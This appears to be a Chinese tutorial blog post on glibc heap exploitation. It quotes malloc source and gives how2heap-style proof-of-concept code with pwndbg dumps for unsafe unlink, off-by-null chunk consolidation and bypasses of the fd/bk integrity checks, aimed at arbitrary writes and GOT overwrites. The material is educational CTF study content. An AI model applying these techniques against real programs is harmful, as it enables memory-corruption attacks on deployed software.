经典漏洞
Glibc unlink 当一个 free chunk 从双向链表的 bins 中取出时(堆的合并),这个过程就是 unlink。
堆的合并主要看这一段代码,存在两种合并方式
int_free 参数:p是正在free的chunk,av 指 arena(struct malloc_state),lock避免条件竞争
向后合并:prev_inuse位为0,会发生unsorted bin之间合并,会检查prev_size 和 想要合并的 bin 的 size 是否相同。unlink prev_chunk
向前合并:不是top_chunk, unlink nextchunk。
至于方向:在没有翻译错误的情况下,有点绕,但是可以强行解释,因为堆往高地址生长,向前就是向高地址合并,向后就是向低地址合并?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #define inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) #define prev_size(p) ((p)->mchunk_prev_size) if (!prev_inuse (p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset (p, -((long )prevsize)); if (__glibc_unlikely(chunksize (p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating" ); unlink_chunk (av, p); } if (nextchunk != av->top) { nextinuse = inuse_bit_at_offset (nextchunk, nextsize); if (!nextinuse) { unlink_chunk (av, nextchunk); size += nextsize; } else clear_inuse_bit_at_offset (nextchunk, 0 );
unlink函数主要是指针的处理,假设3个chunk,a-b-c,a-b在unsortedbin 范围,c主要防止top_chunk合并,正常情况下
首先,unsorted bin 按照free时间顺序连接,fd指向时间靠前的chunk。
向前合并:free b, free a。先成为 arena<->b 双链表,然后在调用 unlink(av, b)。
向后合并:free a, free b。先成为 arena<->a 双链表 在int_free 调用的是 unlink(av, a)。
这里就使用向后合并举例:fd=a->fd=arena, bk=a->bk=arena;在经历一个赋值语句变为 arena->bk=arena,areba->fd=arena。从arena<->a 变成了 arena 完成unlink此操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 static void unlink_chunk (mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size" ); mchunkptr fd = p->fd; mchunkptr bk = p->bk; if (__builtin_expect(fd->bk != p || bk->fd != p, 0 )) malloc_printerr ("corrupted double-linked list" ); fd->bk = bk; bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL ) { if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p) malloc_printerr ("corrupted double-linked list (not small)" ); if (fd->fd_nextsize == NULL ) { if (p->fd_nextsize == p) fd->fd_nextsize = fd->bk_nextsize = fd; else { fd->fd_nextsize = p->fd_nextsize; fd->bk_nextsize = p->bk_nextsize; p->fd_nextsize->bk_nextsize = fd; p->bk_nextsize->fd_nextsize = fd; } } else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; } } }
然后后续继续进入free函数里操作
后续操作:此时p指向a,找到arena的bins数组,然后链入arena,设置head和foot
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #define set_head(p, s) ((p)->mchunk_size = (s)) #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) bck = unsorted_chunks (av); fwd = bck->fd; if (__glibc_unlikely(fwd->bk != bck)) malloc_printerr ("free(): corrupted unsorted chunks" ); p->fd = fwd; p->bk = bck; if (!in_smallbin_range (size)) { p->fd_nextsize = NULL ; p->bk_nextsize = NULL ; } bck->fd = p; fwd->bk = p; set_head (p, size | PREV_INUSE);set_foot (p, size);check_free_chunk (av, p);
最后:arena的bins数组存放数据:
1 bins[1 ] = bins[0 ] = &bins - 0x10
Attack 相关的攻击手段。
uaf 早期发现此漏洞时,没有 fd->bk != p || bk->fd != p
这个条件,因此直接修改 fd, bk 来进行任意地址写
任意地址写,如果开了 got 表保护,可以写 hook。
unsafe unlink 在没有 PIE 和 got表可以写时,可以通过修改got表。其本质是一个heap overflow这是比较简单的。
主要是利用 unlink 中的代码,其中指针赋值简化为 p->fd->bk = p->bk, p->bk->fd = p->fd
我们控制这个 p 的内容。
按照时间 malloc A,B
A 堆溢出,修改A的内容 修改B的header
target = &p,需要我们可以写。或者 target就是p
我们在 A 里伪造一个 fake free chunk: prev_inuse, size, fd=&target-0x18, bk=&target=0x10
利用堆溢出修改 B 的header,让fake free chunk 和 B 可以合并。
free B 就会 unlink,p 就是 fake free chunk ,触发unlink。
1 2 3 4 5 6 7 8 9 10 11 12 +---------+ +----------+ | | | | | A | +----------+ | | | | A中伪造 => fake heap head(sz, fd, bk) + data | | |fake heap | | | | | +---------+ ==heap overflow===>+----------+ ===========================> free B => unlink | | |ps sz | | | | | B head => prev size 过检查 | B | | | prev_inuse 为0 | | | | +---------+ +----------+
how2heap 案例
编译时指定no-pie
测试在ubuntu 22.04,可以通过assert.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <assert.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> uint64_t *chunk0_ptr;int main () { setbuf (stdout, NULL ); int malloc_size = 0x420 ; int header_size = 2 ; chunk0_ptr = (uint64_t *)malloc (malloc_size); uint64_t *chunk1_ptr = (uint64_t *)malloc (malloc_size); printf ("The global chunk0_ptr is at %p, pointing to %p\n" , &chunk0_ptr, chunk0_ptr); printf ("The victim chunk we are going to corrupt is at %p\n\n" , chunk1_ptr); chunk0_ptr[1 ] = chunk0_ptr[-1 ] - 0x10 ; chunk0_ptr[2 ] = (uint64_t )&chunk0_ptr - (sizeof (uint64_t ) * 3 ); chunk0_ptr[3 ] = (uint64_t )&chunk0_ptr - (sizeof (uint64_t ) * 2 ); printf ("Fake chunk fd: %p\n" , (void *)chunk0_ptr[2 ]); printf ("Fake chunk bk: %p\n\n" , (void *)chunk0_ptr[3 ]); uint64_t *chunk1_hdr = chunk1_ptr - header_size; chunk1_hdr[0 ] = malloc_size; printf ( "If we had 'normally' freed chunk0, chunk1.previous_size would have been " "0x430, however this is its new value: %p\n" , (void *)chunk1_hdr[0 ]); chunk1_hdr[1 ] &= ~1 ; free (chunk1_ptr); char victim_string[8 ]; strcpy (victim_string, "Hello!~" ); chunk0_ptr[3 ] = (uint64_t )victim_string; printf ("Original value: %s\n" , victim_string); chunk0_ptr[0 ] = 0x4141414142424242 LL; printf ("New Value: %s\n" , victim_string); assert (*(long *)victim_string == 0x4141414142424242 L); }
比较绕,但是可以直接看最后的结果,chunk0_ptr->bk->fd = chunk0_ptr->fd
。target 的内容存放着 &target-0x10
target的地址减去0x18
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pwndbg> x/8xg 0x405290 0x405290: 0x0000000000000000 0x0000000000000431 0x4052a0: 0x0000000000000000 0x0000000000020d61 0x4052b0: 0x0000000000404050 0x0000000000404058 0x4052c0: 0x0000000000000000 0x0000000000000000 pwndbg> x/8xg 0x0000000000404058+0x10 0x404068 <chunk0_ptr>: 0x0000000000404050 0x0000000000000000 0x404078: 0x0000000000000000 0x0000000000000000 0x404088: 0x0000000000000000 0x0000000000000000 0x404098: 0x0000000000000000 0x0000000000000000
结论:target 指针指向 &target-0x18。我见过的问题一般利用在全局指针数组中,通过这种方式修改got表内容。 改arr[0]
,这样就可以修改和读取 arr[0]
。改成got表,读取内容,泄露地址,又可以修改就直接修改got表内容。没有所有权的编程是这样的
off by null 也是堆溢出的一种形式,但还是区分一下。在这里可以攻击保护全开的程序,主要利用点为堆可以合并。
libc2.29 以前
先释放chunk A.
通过chunk B,利用off by one漏洞在 修改chunk C presize 值为 chunk A size +chunk B size的同时,将chunk C的prev_inuse值覆盖为0.
再释放chunk C。
libc2.29 以后有个检查,会检查prev_chunk size是否和当前的 chunk 的 prev_size 相同,而 off by null,我们无法直接改变 chunk size,因此我们在chunk里伪造一个chunk
1 if (__glibc_unlikely(chunksize (p) != prevsize))
修改后的off by null利用手段,因为没有arena的检查,只是检查了in_use位和size相关检查
三个堆 A,B,C,最好是 0x438 这种不是整数类型的,会存在一段公用的结果。c防止与top_chunk合并
编辑A,在A中伪造一个堆 ,覆盖掉B的prev_inuse 位
free掉B,就会向后合并。
但是需要绕过unlink_chunk中对fd, bk检查 __builtin_expect(fd->bk != p || bk->fd != p, 0)
。
简单点的题目会给我们一个基地址,这里我们就可以直接像unlink一样修改fd,bk就行
tcache leak 在libc 2.32 需要 (fd>>12) ^ 0
unsorted bin 存在两个chunk,泄露其中一个的 fd,bk可以得到堆地址
largebin 的四个指针,只有一个chunk可以使用fd_nextsize 和 bk_nextsize指向自己
在比较苛刻的条件下,我们不能泄露堆地址,但是可以通过布局heap fengshui 进行伪造fake chunk。假设程序存在off by null
a-x-b-c-x-d-x, a,b,c,d 大小都在unsorted bin里,x是避免合并的chunk (c>d>a=b)
free a, c, d 拿fd来说就是形成 d->c->a->arena 的链表。
free b 这时候b,c合并。变成了 b->d->a->arena 链表,但是这时候c的指针并没有清除。
unsorted bin FIFO。此处需要将 a,d放入largebin里,然后切割 b-c,生成e,e包含c的 fd, bk指针。
清空unsorted bin 获得f
编辑 e,可以改原来c位置的size,并且同时包含了fd, bk 指针。因此此处我们需要改一点完成unlink中的检查。
之前chunk c->fd=a, c->bk=d。因为其放入了largebin里 a->bk = d, d->fd = a,无法通过检查,因此我们需要想办法满足条件
将a,d从large bin 拿出来。
bypass bk指针:free a, free f。a->bk = f, 将a拿出来,不会清空指针,修改一下bk指针,因为f和c距离比较近,因此我们可以通过partial write修改bk
bypass fd指针: 直接向bypass bk一样,bk指向的是arena。free f, free d,d->fd=f。让后让其进入largebin里,d->fd=f。拿回d就行
这里为什么不在unsortbin里:直接拿出d,会先将f放入largebin,然后d->arena 形成链表。先拿f再拿出d, d->arena链表。都破坏了fd指针(没有指向堆。
可以使用这段代码调试,没有指针改变,主要看的是可行性。
最好重新分布一下size,最简单是修改 x0
大小。保证f和c 只有最后一个字节不同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <stdio.h> #include <stdlib.h> int main () { void *a = malloc (0x418 ); void *x0 = malloc (0x18 ); void *b = malloc (0x418 ); void *c = malloc (0x438 ); void *x1 = malloc (0x18 ); void *d = malloc (0x428 ); void *x2 = malloc (0x18 ); free (a); free (c); free (d); free (b); void *e = malloc (0x438 ); void *f = malloc (0x418 ); d = malloc (0x428 ); a = malloc (0x418 ); free (a); free (f); a = malloc (0x418 ); f = malloc (0x418 ); free (f); free (d); malloc (0x1000 ); d = malloc (0x428 ); return 0 ; }
bk bypass
1 2 3 4 5 6 7 8 9 10 11 12 13 pwndbg> p f $2 = (void *) 0x555555559b20pwndbg> x/8xg 0x555555559b20-0x30 0x555555559af0: 0x0000000000000000 0x0000000000000441 0x555555559b00: 0x0000555555559290 0x0000555555559f50 0x555555559b10: 0x0000000000000000 0x0000000000000421 0x555555559b20: 0x00007ffff7e1a0d0 0x00007ffff7e1a0d0 pwndbg> x/4xg 0x0000555555559290 0x555555559290: 0x0000000000000000 0x0000000000000421 0x5555555592a0: 0x00007ffff7e19ce0 0x0000555555559b10
fd bypass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> p f $1 = (void *) 0x555555559b20pwndbg> x/8xg 0x555555559b20-0x30 0x555555559af0: 0x0000000000000000 0x0000000000000441 0x555555559b00: 0x0000555555559290 0x0000555555559f50 0x555555559b10: 0x0000000000000000 0x0000000000000421 0x555555559b20: 0x00007ffff7e1a0d0 0x00007ffff7e1a0d0 pwndbg> x/8xg 0x0000555555559f50 0x555555559f50: 0x0000000000000000 0x0000000000000431 0x555555559f60: 0x0000555555559b10 0x00007ffff7e1a0d0 0x555555559f70: 0x0000555555559b10 0x0000555555559b10 0x555555559f80: 0x0000000000000000 0x0000000000000000
kernel ?
kernel 存在很多的 list_head 结构体,我们可以使用 条件竞争 来修改指针,借助如同 msg_msg 结构体来进行任意地址写
参考文章